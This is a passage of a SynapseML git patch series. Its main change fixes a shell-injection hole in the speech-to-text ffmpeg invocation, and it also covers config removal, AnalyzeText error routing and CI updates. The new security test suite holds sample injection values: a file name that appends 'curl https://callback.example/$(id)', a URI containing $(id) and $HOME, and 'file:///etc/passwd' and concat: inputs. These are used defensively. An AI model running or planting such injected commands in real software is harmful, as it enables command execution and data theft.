import com.microsoft.cognitiveservices.speech.transcription.{Conversation, Conve ConversationTranscriptionEventArgs, Participant} import com.microsoft.cognitiveservices.speech.util.EventHandler import org.apache.commons.io.FilenameUtils +import org.apache.commons.io.input.TeeInputStream import org.apache.hadoop.fs.Path import org.apache.spark.broadcast.Broadcast import org.apache.spark.injections.SConf @@ -30,19 +31,64 @@ import org.apache.spark.sql.types._ import org.apache.spark.sql.{DataFrame, Dataset, Row} import spray.json._ -import java.io.{BufferedInputStream, ByteArrayInputStream, Closeable, InputStream} +import java.io.{BufferedInputStream, ByteArrayInputStream, Closeable, FileOutputStream, IOException, InputStream} import java.lang.ProcessBuilder.Redirect import java.net.{URI, URL} -import java.util.UUID +import java.util.{Locale, UUID} import java.util.concurrent.{LinkedBlockingQueue, TimeUnit} import scala.concurrent.{ExecutionContext, Future, blocking} import scala.language.existentials +import scala.util.Try object SpeechToTextSDK extends ComplexParamsReadable[SpeechToTextSDK] +private[speech] object SpeechSDKBase { + private val FfmpegOutputArgs = Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3") + private val FfmpegProtocolWhitelist = "http,https,tcp,tls,crypto" + private val HttpSchemes = Set("http", "https") + private val UriSchemePattern = "^[A-Za-z][A-Za-z0-9+.-]*:.*".r + private val WindowsDrivePathPattern = "^[A-Za-z]:[\\\\/].*".r + + def parseUri(uri: String): Option[URI] = Try(new URI(uri)).toOption + + def isHttpUri(uri: URI): Boolean = + Option(uri.getScheme).map(_.toLowerCase(Locale.ROOT)).exists(HttpSchemes) + + def validateFfmpegUri(uri: String): URI = { + val parsedUri = parseUri(uri).getOrElse { + throw new IllegalArgumentException("ffmpeg input URI must be a valid http(s) URI") + } + require(isHttpUri(parsedUri), "ffmpeg input URI must use the http or https scheme") + parsedUri + } + + def validateRecordedFileName(fileName: String): String = { + val fn = Option(fileName).filter(_.trim.nonEmpty).getOrElse { + throw new IllegalArgumentException("Recorded file name must be non-empty when recordAudioData is true") + } + val hasUriScheme = UriSchemePattern.pattern.matcher(fn).matches() + val isWindowsDrivePath = WindowsDrivePathPattern.pattern.matcher(fn).matches() + + require(!fn.startsWith("-"), "Recorded file name must not start with '-'") + require(!fn.contains('\u0000'), "Recorded file name must not contain NUL characters") + require(!hasUriScheme || (OsUtils.IsWindows && isWindowsDrivePath), + "Recorded file name must be a local file path without a URI scheme") + fn + } + + def makeFfmpegCommand(uri: String, + extraArgs: Seq[String]): Seq[String] = { + validateFfmpegUri(uri) + val outputArgs = extraArgs ++ FfmpegOutputArgs + Seq("ffmpeg", "-y", + "-reconnect", "1", "-reconnect_streamed", "1", "-reconnect_delay_max", "2000", + "-protocol_whitelist", FfmpegProtocolWhitelist, "-i", uri) ++ outputArgs ++ Seq("pipe:1") + } +} + //scalastyle:off no.finalize private[ml] class BlockingQueueIterator[T](lbq: LinkedBlockingQueue[Option[T]], - onClose: => Unit) extends Iterator[T] with Closeable { + onClose: => Unit) extends Iterator[T] with Closeable { var nextVar: Option[T] = None var isDone = false var takeAnother = true @@ -242,31 +288,38 @@ abstract class SpeechSDKBase extends Transformer dynamicParamRow: Row): (InputStream, String) = { if (isUriAudio) { //scalastyle:ignore cyclomatic.complexity val uri = row.getAs[String](getAudioDataCol) - val ffmpegCommand: Seq[String] = { - val body = Seq("ffmpeg", "-y", - "-reconnect", "1", "-reconnect_streamed", "1", "-reconnect_delay_max", "2000", - "-i", uri) ++ getExtraFfmpegArgs ++ Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3", "pipe:1") - - if (getRecordAudioData && OsUtils.IsWindows) { - val fn = row.getAs[String](getRecordedFileNameCol) - body ++ Seq("-acodec", "mp3", "-ab", "257k", "-f", "mp3", fn) - } else if (getRecordAudioData && !OsUtils.IsWindows) { - val fn = row.getAs[String](getRecordedFileNameCol) - Seq("/bin/sh", "-c", (body ++ Seq("|", "tee", fn)).mkString(" ")) + val parsedUriOpt = SpeechSDKBase.parseUri(uri) + val extension = parsedUriOpt + .flatMap(parsedUri => Option(parsedUri.getPath)) + .map(FilenameUtils.getExtension) + .getOrElse(FilenameUtils.getExtension(uri)) + .toLowerCase(Locale.ROOT) + val isHttpUri = parsedUriOpt.exists(SpeechSDKBase.isHttpUri) + + if (Set("m3u8", "m4a")(extension) && isHttpUri) { + val recordedFileName = if (getRecordAudioData) { + Some(SpeechSDKBase.validateRecordedFileName(row.getAs[String](getRecordedFileNameCol))) } else { - body + None } - } - - val extension = FilenameUtils.getExtension(new URI(uri).getPath).toLowerCase() - - if (Set("m3u8", "m4a")(extension) && uri.startsWith("http")) { + val ffmpegCommand = SpeechSDKBase.makeFfmpegCommand(uri, getExtraFfmpegArgs.toSeq) val proc = new ProcessBuilder() .redirectError(Redirect.INHERIT) .redirectInput(Redirect.INHERIT) .command(ffmpegCommand: _*) .start() - val stream = proc.getInputStream + val stream = recordedFileName match { + case Some(fn) => + try { + new TeeInputStream(proc.getInputStream, new FileOutputStream(fn), true) + } catch { + case e: IOException => + proc.destroy() + throw e + } + case None => + proc.getInputStream + } if (getExtraFfmpegArgs.contains("-t")) { val timeLimit = getExtraFfmpegArgs(getExtraFfmpegArgs.indexOf("-t") + 1).toInt @@ -285,7 +338,7 @@ abstract class SpeechSDKBase extends Transformer } (stream, "mp3") - } else if (uri.startsWith("http")) { + } else if (isHttpUri) { val conn = new URL(uri).openConnection conn.setConnectTimeout(5000) //scalastyle:ignore magic.number conn.setReadTimeout(5000) //scalastyle:ignore magic.number diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDKSecuritySuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDKSecuritySuite.scala new file mode 100644 index 00000000000..7770b1cf816 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/speech/SpeechToTextSDKSecuritySuite.scala @@ -0,0 +1,101 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.speech + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class SpeechToTextSDKSecuritySuite extends TestBase { + + private val uriWithShellMetacharacters = + "https://example.com/audio.m3u8;$(id)?token=$HOME" + private val recordedFileNameWithShellMetacharacters = + "/tmp/out.mp3; curl https://callback.example/$(id) #" + private val extraFfmpegArgs = Seq("-t", "2.5") + private val ffmpegProtocolWhitelist = "http,https,tcp,tls,crypto" + + test("audio streams are passed to ffmpeg without a shell") { + val command = SpeechSDKBase.makeFfmpegCommand( + uriWithShellMetacharacters, + extraFfmpegArgs) + + assert(command.head == "ffmpeg") + val whitelistIndex = command.indexOf("-protocol_whitelist") + assert(whitelistIndex > 0) + assert(command(whitelistIndex + 1) == ffmpegProtocolWhitelist) + assert(command(whitelistIndex + 2) == "-i") + assert(command(whitelistIndex + 3) == uriWithShellMetacharacters) + assert(!command.contains("/bin/sh")) + assert(!command.contains("-c")) + assert(!command.contains("|")) + assert(!command.contains("tee")) + assert(!command.contains(recordedFileNameWithShellMetacharacters)) + assert(command.contains(uriWithShellMetacharacters)) + assert(command.count(_ == uriWithShellMetacharacters) == 1) + assert(command.sliding(extraFfmpegArgs.length).count(_ == extraFfmpegArgs) == 1) + } + + test("ffmpeg command writes only to stdout") { + val command = SpeechSDKBase.makeFfmpegCommand( + uriWithShellMetacharacters, + extraFfmpegArgs) + + assert(command.head == "ffmpeg") + assert(command.last == "pipe:1") + assert(!command.contains("/bin/sh")) + assert(!command.contains("|")) + assert(!command.contains("tee")) + assert(!command.contains(recordedFileNameWithShellMetacharacters)) + assert(command.sliding(extraFfmpegArgs.length).count(_ == extraFfmpegArgs) == 1) + } + + test("ffmpeg command rejects unsupported input protocols") { + Seq( + "file:///etc/passwd", + "concat:https://example.com/a|https://example.com/b", + "data:text/plain,hello", + "httpx://example.com/audio.m3u8", + " http://example.com/audio.m3u8" + ).foreach { uri => + intercept[IllegalArgumentException] { + SpeechSDKBase.makeFfmpegCommand(uri, Seq()) + } + } + } + + test("ffmpeg command accepts uppercase http schemes") { + val uri = "HTTPS://example.com/audio.m3u8" + val command = SpeechSDKBase.makeFfmpegCommand(uri, Seq()) + + assert(command.contains(uri)) + } + + test("recorded file names are validated as local paths") { + assert(SpeechSDKBase.validateRecordedFileName(recordedFileNameWithShellMetacharacters) == + recordedFileNameWithShellMetacharacters) + + Seq( + "-out.mp3", + "http://example.com/out.mp3", + "https://example.com/out.mp3", + "file:///tmp/out.mp3", + "pipe:1", + "data:text/plain,hello", + "concat:/tmp/a|/tmp/b" + ).foreach { fileName => + intercept[IllegalArgumentException] { + SpeechSDKBase.validateRecordedFileName(fileName) + } + } + } + + test("recorded file names must be non-empty") { + intercept[IllegalArgumentException] { + SpeechSDKBase.validateRecordedFileName("") + } + intercept[IllegalArgumentException] { + val missingProperty = System.getProperty("synapseml.speech.recordedFileName.missing") + SpeechSDKBase.validateRecordedFileName(missingProperty) + } + } +} From f3002df794ff9b3bacc5609b0eea120e72df8d85 Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Thu, 25 Jun 2026 14:37:10 -0700 Subject: [PATCH 07/93] chore: remove Acrolinx integration config (#2570) * chore: remove Acrolinx integration config AB#5391146 AB#5391147 ## Summary Remove the retired Acrolinx repository configuration from SynapseML and add the Feature Registry pointer and repo-specific design notes for Feature 5391136. ## Prompting Intent Engineer asked the agent to complete the Acrolinx removal request from the Microsoft Learn authoring tools PM. The repository cleanup needed to remove stale source-controlled Acrolinx state while preserving Feature Registry traceability for the administrative webhook removal and the June 30 contract-expiration risk. ## Linked Sources - ADO Feature: https://msdata.visualstudio.com/A365/_workitems/edit/5391136 - Design Spec task: https://msdata.visualstudio.com/A365/_workitems/edit/5391146 - Deployment task: https://msdata.visualstudio.com/A365/_workitems/edit/5391147 - Feature Registry specs: https://msdata.visualstudio.com/A365/_git/FeatureRegistry?path=/Features/active/5391136 - Teams request: https://teams.microsoft.com/l/message/19:81ff723c-eac9-4b2a-ba9f-844542135555_cc1adbf9-6510-43d6-a849-adba51e66d59@unq.gbl.spaces/1782314980087?context=%7B%22contextType%22%3A%22chat%22%7D - Acrolinx config before cleanup: https://github.com/microsoft/SynapseML/blob/b0fa222cfdde5d0a2cbb2bc6a35630bbb61bc0e3/.acrolinx-config.edn ## Rationale Deleting `.acrolinx-config.edn` is the least invasive source change because the Acrolinx contract is ending and the repo-level webhook was already removed through GitHub administration. Keeping the Feature Registry folder in the repo gives future maintainers a durable pointer to the reason for the cleanup without adding runtime or build behavior. * chore: keep Feature Registry metadata out of SynapseML AB#5391146 AB#5391147 ## Summary Remove the Feature Registry scaffold files from the SynapseML cleanup branch so the public repository PR only deletes the retired Acrolinx config. ## Prompting Intent Engineer clarified that Feature Registry metadata must not be included in the external SynapseML repository. The agent adjusted the existing cleanup PR to keep registry tracking in FeatureRegistry only while preserving the Acrolinx source cleanup. ## Linked Sources - ADO Feature: https://msdata.visualstudio.com/A365/_workitems/edit/5391136 - SynapseML PR: https://github.com/microsoft/SynapseML/pull/2570 - FeatureRegistry PR: https://msdata.visualstudio.com/A365/_git/FeatureRegistry/pullrequest/2169703 - User correction: do not include Feature Registry metadata in the external repo ## Rationale Keeping the public SynapseML PR scoped to `.acrolinx-config.edn` avoids adding internal Feature Registry process artifacts to an external repository. Feature-level tracking remains in the FeatureRegistry PR and ADO work items. --- .acrolinx-config.edn | 2 -- 1 file changed, 2 deletions(-) delete mode 100644 .acrolinx-config.edn diff --git a/.acrolinx-config.edn b/.acrolinx-config.edn deleted file mode 100644 index 2020cbb0f81..00000000000 --- a/.acrolinx-config.edn +++ /dev/null @@ -1,2 +0,0 @@ -{:allowed-branchname-matches ["master" "release-.*"] - :allowed-filename-matches ["docs" "website"]} From 86a06557d37a03523b7048eb6dc61575601928bb Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Thu, 25 Jun 2026 15:22:19 -0700 Subject: [PATCH 08/93] fix: route AnalyzeText document errors to errorCol (#2569) * fix: route AnalyzeText document errors to errorCol Move Azure AI Language document-level errors returned inside HTTP 200 AnalyzeText responses from the response payload into the configured error column after auto-batch flattening. Preserve transport error precedence and add a no-network regression test for mixed document success/error responses. AB#4638662 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: pin PR validation sbt launcher Use the sbt launcher version from project/build.properties instead of installing the latest apt sbt package. This keeps the JDK 11 PR validation job on the repository's sbt 1.10.11 launcher and avoids sbt 2.x rejecting JDK 11 before scalastyle can run. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: use pinned sbt wrapper in PR validation Invoke the downloaded sbt launcher explicitly so the GitHub runner does not resolve its preinstalled sbt 2.x binary under JDK 11. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: prefer pinned sbt on PATH Keep PR validation commands as plain sbt while placing the repository-version launcher first on PATH for subsequent workflow steps. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: avoid ordering assumption in AnalyzeText error test Partition collected rows by error nullability instead of relying on collect order, addressing PR review feedback about Spark DataFrames being unordered. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/workflows/pr-validation.yml | 16 +++- .../ml/services/language/AnalyzeText.scala | 58 +++++++++--- .../services/language/AnalyzeTextSuite.scala | 89 +++++++++++++++++++ 3 files changed, 148 insertions(+), 15 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 85bfae3c347..0c3776bba5b 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -41,10 +41,18 @@ jobs: - name: Install sbt run: | - echo "deb https://repo.scala-sbt.org/scalasbt/debian all main" | sudo tee /etc/apt/sources.list.d/sbt.list - curl -sL "https://keyserver.ubuntu.com/pks/lookup?op=get&search=0x2EE0EA64E40A89B84B2DF73499E82A75642AC823" | sudo apt-key add - sudo apt-get update -q - sudo apt-get install -yq sbt + SBT_VERSION="$(sed -n 's/^sbt.version *= *//p' project/build.properties | tr -d ' ')" + mkdir -p "$HOME/.local/bin" + curl -L -o "$HOME/.local/bin/sbt-launch.jar" \ + "https://repo1.maven.org/maven2/org/scala-sbt/sbt-launch/${SBT_VERSION}/sbt-launch-${SBT_VERSION}.jar" + cat > "$HOME/.local/bin/sbt" <> "$GITHUB_PATH" + export PATH="$HOME/.local/bin:$PATH" + sbt sbtVersion - name: Scalastyle check run: sbt scalastyle test:scalastyle diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeText.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeText.scala index d3577657890..0cd1eb155a4 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeText.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeText.scala @@ -4,16 +4,18 @@ package com.microsoft.azure.synapse.ml.services.language import com.microsoft.azure.synapse.ml.logging.{ FeatureNames, SynapseMLLogging } +import com.microsoft.azure.synapse.ml.io.http.ErrorUtils import com.microsoft.azure.synapse.ml.param.ServiceParam import com.microsoft.azure.synapse.ml.services._ import com.microsoft.azure.synapse.ml.services.text.{ TADocument, TextAnalyticsAutoBatch } -import com.microsoft.azure.synapse.ml.stages.{ FixedMiniBatchTransformer, FlattenBatch, HasBatchSize, UDFTransformer } +import com.microsoft.azure.synapse.ml.stages.{ FixedMiniBatchTransformer, FlattenBatch, HasBatchSize, Lambda, + UDFTransformer } import org.apache.http.entity.{ AbstractHttpEntity, StringEntity } import org.apache.spark.injections.UDFUtils import org.apache.spark.ml.{ ComplexParamsReadable, NamespaceInjections, PipelineModel } import org.apache.spark.ml.param.{ Param, ParamValidators } import org.apache.spark.ml.util.Identifiable -import org.apache.spark.sql.Row +import org.apache.spark.sql.{ Column, Row, functions => F } import org.apache.spark.sql.expressions.UserDefinedFunction import org.apache.spark.sql.types.{ ArrayType, DataType, StructType } import spray.json._ @@ -258,19 +260,47 @@ class AnalyzeText(override val uid: String) extends CognitiveServicesBase(uid) } } - protected def postprocessResponseUdf: UserDefinedFunction = { + private def postprocessedOutputType: StructType = { val responseType = responseDataType.asInstanceOf[StructType] val results = responseType("results").dataType.asInstanceOf[StructType] - val outputType = ArrayType( - new StructType() - .add("statistics", results("statistics").dataType) - .add("documents", results("documents").dataType.asInstanceOf[ArrayType].elementType) - .add("errors", results("errors").dataType.asInstanceOf[ArrayType].elementType) - .add("modelVersion", results("modelVersion").dataType) - ) + new StructType() + .add("statistics", results("statistics").dataType) + .add("documents", results("documents").dataType.asInstanceOf[ArrayType].elementType) + .add("errors", results("errors").dataType.asInstanceOf[ArrayType].elementType) + .add("modelVersion", results("modelVersion").dataType) + } + + protected def postprocessResponseUdf: UserDefinedFunction = { + val outputType = ArrayType(postprocessedOutputType) UDFUtils.oldUdf(postprocessResponse _, outputType) } + private def responseErrorToErrorCol(error: Column): Column = { + F.when(error.isNotNull, F.struct( + F.to_json(error).as("response"), + F.lit(null).cast(ErrorUtils.ErrorSchema("status").dataType).as("status") // scalastyle:ignore null + )) + } + + private def outputWithoutResponseError(output: Column): Column = { + val outputType = postprocessedOutputType + F.when(output.isNotNull, F.struct( + output.getField("statistics").as("statistics"), + output.getField("documents").as("documents"), + F.lit(null).cast(outputType("errors").dataType).as("errors"), // scalastyle:ignore null + output.getField("modelVersion").as("modelVersion") + )).otherwise(F.lit(null).cast(outputType)) // scalastyle:ignore null + } + + private def moveResponseErrorsToErrorCol( + dataset: org.apache.spark.sql.Dataset[_]): org.apache.spark.sql.DataFrame = { + val df = dataset.toDF + val output = F.col(getOutputCol) + val responseError = output.getField("errors") + df.withColumn(getErrorCol, F.coalesce(F.col(getErrorCol), responseErrorToErrorCol(responseError))) + .withColumn(getOutputCol, F.when(responseError.isNotNull, outputWithoutResponseError(output)).otherwise(output)) + } + override protected def getInternalTransformer(schema: StructType): PipelineModel = { val batcher = if (shouldAutoBatch(schema)) { @@ -293,8 +323,14 @@ class AnalyzeText(override val uid: String) extends CognitiveServicesBase(uid) None } + val moveResponseErrors = if (shouldAutoBatch(schema)) { + Some(Lambda(moveResponseErrorsToErrorCol _).setTransformSchema((schema: StructType) => schema)) + } else { + None + } + NamespaceInjections.pipelineModel( - Array(batcher, Some(pipe), Some(postprocess), flatten).flatten + Array(batcher, Some(pipe), Some(postprocess), flatten, moveResponseErrors).flatten ) } diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextSuite.scala index 9efe369b241..84b6646428a 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextSuite.scala @@ -3,13 +3,102 @@ package com.microsoft.azure.synapse.ml.services.language +import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.services.text.{SentimentAssessment, TextEndpoint} import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} +import com.microsoft.azure.synapse.ml.io.http.{HTTPRequestData, HTTPResponseData, HTTPSchema} +import org.apache.http.impl.client.CloseableHttpClient import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql.{DataFrame, Row} import org.apache.spark.sql.functions.{col, flatten, map} import org.scalactic.{Equality, TolerantNumerics} +object AnalyzeTextErrorRoutingTestData extends Serializable { + val ResponseWithDocumentError: String = + """{ + | "kind": "PiiEntityRecognition", + | "results": { + | "documents": [ + | { + | "id": "0", + | "redactedText": "My SSN is ***********", + | "entities": [], + | "warnings": [], + | "statistics": null + | } + | ], + | "errors": [ + | { + | "id": "1", + | "error": { + | "code": "InvalidArgument", + | "message": "Document exceeds the service character limit.", + | "target": "documents.1", + | "details": null, + | "innererror": { + | "code": "InvalidDocument", + | "innerError": "DocumentTooLong" + | } + | } + | } + | ], + | "modelVersion": "test", + | "statistics": { + | "documentsCount": 2, + | "validDocumentsCount": 1, + | "erroneousDocumentsCount": 1, + | "transactionsCount": 2 + | } + | } + |}""".stripMargin + + def okResponseHandler( + client: CloseableHttpClient, + request: HTTPRequestData): HTTPResponseData = { + HTTPSchema.stringToResponse(ResponseWithDocumentError, 200, "OK") + } +} + +class AnalyzeTextErrorRoutingSuite extends TestBase { + import spark.implicits._ + + test("AnalyzeText moves document-level 200 response errors to errorCol") { + val model = new AnalyzeText() + .setSubscriptionKey("unused") + .setLocation("eastus") + .setTextCol("text") + .setLanguage("en") + .setKind("PiiEntityRecognition") + .setOutputCol("response") + .setErrorCol("error") + .setHandler(AnalyzeTextErrorRoutingTestData.okResponseHandler _) + + val rows = model.transform(Seq("valid text", "too long").toDF("text").coalesce(1)) + .select("response", "error") + .collect() + + assert(rows.length == 2) + val (failedRows, successRows) = rows.partition(row => row.getAs[Row]("error") != null) + assert(successRows.length == 1) + assert(failedRows.length == 1) + + val successResponse = successRows.head.getAs[Row]("response") + assert(successResponse.getAs[Row]("documents") != null) + assert(successResponse.getAs[Row]("errors") == null) + + val failedResponse = failedRows.head.getAs[Row]("response") + assert(failedResponse.getAs[Row]("documents") == null) + assert(failedResponse.getAs[Row]("errors") == null) + + val error = failedRows.head.getAs[Row]("error") + assert(error != null) + val errorResponse = error.getAs[String]("response") + assert(errorResponse.contains("InvalidArgument")) + assert(errorResponse.contains("Document exceeds the service character limit.")) + assert(error.getAs[Row]("status") == null) + } +} + class EntityLinkingSuite extends TransformerFuzzing[AnalyzeText] with TextEndpoint { override val compareDataInSerializationTest: Boolean = false From b350135d16c40b0e78e7c24e38558b5177d41355 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 27 Jul 2026 11:28:04 -0700 Subject: [PATCH 09/93] fix: restore SynapseML Azure pipeline (#2573) fix: restore Azure pipeline --- .github/pull_request_template.md | 2 +- .github/workflows/check-dead-links.yml | 2 +- .github/workflows/codeql.yml | 8 +- .github/workflows/dependency-review.yml | 10 +- .github/workflows/pr-validation.yml | 8 +- .github/workflows/scorecards.yml | 6 +- .github/workflows/website-deploy.yml | 27 +- .gitignore | 1 + build.sbt | 2 +- .../services/translate/TranslatorSuite.scala | 5 +- .../microsoft/azure/synapse/ml/Secrets.scala | 30 +- .../azure/synapse/ml/SecretsSuite.scala | 36 + .../ml/nbtest/DatabricksClusterStartup.scala | 125 + .../ml/nbtest/DatabricksGPUTests.scala | 44 +- .../ml/nbtest/DatabricksUtilities.scala | 239 +- .../ml/nbtest/DatabricksUtilitiesSuite.scala | 378 + pipeline.yaml | 120 +- project/CodegenPlugin.scala | 16 +- project/Secrets.scala | 4 +- scripts/bump-version.py | 6 +- scripts/test_bump_version.py | 40 + templates/codecov.yml | 22 +- templates/conda.yml | 4 +- templates/publish.yml | 1 + templates/update_cli.yml | 7 +- tools/docker/demo/Dockerfile | 12 +- tools/docker/minimal/Dockerfile | 10 +- website/README.md | 24 +- website/blog/overview.md | 2 + website/doctest.py | 19 +- website/docusaurus.config.js | 18 +- website/legacyMarkdownPreprocessor.js | 56 + website/package-lock.json | 17460 ++++++++++++++++ website/package.json | 70 +- website/src/pages/index.js | 2 +- website/src/theme/CodeSnippet/index.js | 8 +- website/src/theme/SampleSnippet/index.js | 9 +- .../test/legacyMarkdownPreprocessor.test.js | 47 + website/yarn.lock | 8410 -------- 39 files changed, 18637 insertions(+), 8653 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/SecretsSuite.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala create mode 100644 website/legacyMarkdownPreprocessor.js create mode 100644 website/package-lock.json create mode 100644 website/test/legacyMarkdownPreprocessor.test.js delete mode 100644 website/yarn.lock diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index f0de7e3d22a..c6505522d53 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -32,6 +32,6 @@ If you're unsure about what to test, where to add tests, or how to run tests, pl Make sure you choose the correct class `estimators/transformers` and namespace. 2. Follow the pattern in markdown file and add another section for your new API, including pyspark, scala (and .NET potentially) samples. 3. Make sure the `DocTable` points to correct API link. -4. Navigate to website folder, and run `yarn run start` to make sure the website renders correctly. +4. Navigate to website folder, and run `npm start` to make sure the website renders correctly. 5. Don't forget to add `` before each python code blocks to enable auto-tests for python samples. 6. Make sure the `WebsiteSamplesTests` job pass in the pipeline. diff --git a/.github/workflows/check-dead-links.yml b/.github/workflows/check-dead-links.yml index 5c27889831a..eddbaf60eea 100644 --- a/.github/workflows/check-dead-links.yml +++ b/.github/workflows/check-dead-links.yml @@ -15,7 +15,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Fetch sitemap URLs run: | diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 2dd4f9cf950..c1e8cb6f457 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -42,11 +42,11 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@v4 + uses: github/codeql-action/init@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 with: languages: ${{ matrix.language }} # Explicitly set source-root to handle runner directory naming @@ -56,7 +56,7 @@ jobs: # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@v4 + uses: github/codeql-action/autobuild@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun @@ -69,6 +69,6 @@ jobs: # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v4 + uses: github/codeql-action/analyze@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 with: category: "/language:${{matrix.language}}" diff --git a/.github/workflows/dependency-review.yml b/.github/workflows/dependency-review.yml index af385f8c143..889c3046535 100644 --- a/.github/workflows/dependency-review.yml +++ b/.github/workflows/dependency-review.yml @@ -14,10 +14,16 @@ jobs: runs-on: ubuntu-latest steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Dependency Review - uses: actions/dependency-review-action@v4 + uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0 with: fail-on-severity: high comment-summary-in-pr: always + # Docusaurus invokes serve-handler without any glob-based rewrites, + # redirects, headers, or directory-listing patterns, so untrusted + # input cannot reach brace-expansion. The first patched major is + # incompatible with serve-handler's minimatch 3 API. Track removal + # of this exception in AB#5469322 when upstream releases a safe path. + allow-ghsas: GHSA-mh99-v99m-4gvg diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 0c3776bba5b..cbc8f4f7b0b 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -12,10 +12,10 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Set up Python - uses: actions/setup-python@v5 + uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: "3.12" @@ -30,10 +30,10 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v4 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Set up JDK 11 - uses: actions/setup-java@v4 + uses: actions/setup-java@03ad4de0992f5dab5e18fcb136590ce7c4a0ac95 # v5.6.0 with: distribution: temurin java-version: 11 diff --git a/.github/workflows/scorecards.yml b/.github/workflows/scorecards.yml index 818f9d23863..6c6d971ddb9 100644 --- a/.github/workflows/scorecards.yml +++ b/.github/workflows/scorecards.yml @@ -32,7 +32,7 @@ jobs: steps: - name: "Checkout code" - uses: actions/checkout@v4 # v3.1.0 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false @@ -59,7 +59,7 @@ jobs: # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF # format to the repository Actions tab. - name: "Upload artifact" - uses: actions/upload-artifact@5d5d22a31266ced268874388b861e4b58bb5c2f3 # v4.3.1 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: SARIF file path: results.sarif @@ -67,6 +67,6 @@ jobs: # Upload the results to GitHub's code scanning dashboard. - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@03e7845b7bfcd5e7fb63d1ae8c61b0e791134fab # v2.22.11 + uses: github/codeql-action/upload-sarif@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 with: sarif_file: results.sarif diff --git a/.github/workflows/website-deploy.yml b/.github/workflows/website-deploy.yml index b01658726f5..96c8c535d1c 100644 --- a/.github/workflows/website-deploy.yml +++ b/.github/workflows/website-deploy.yml @@ -29,11 +29,11 @@ jobs: build: 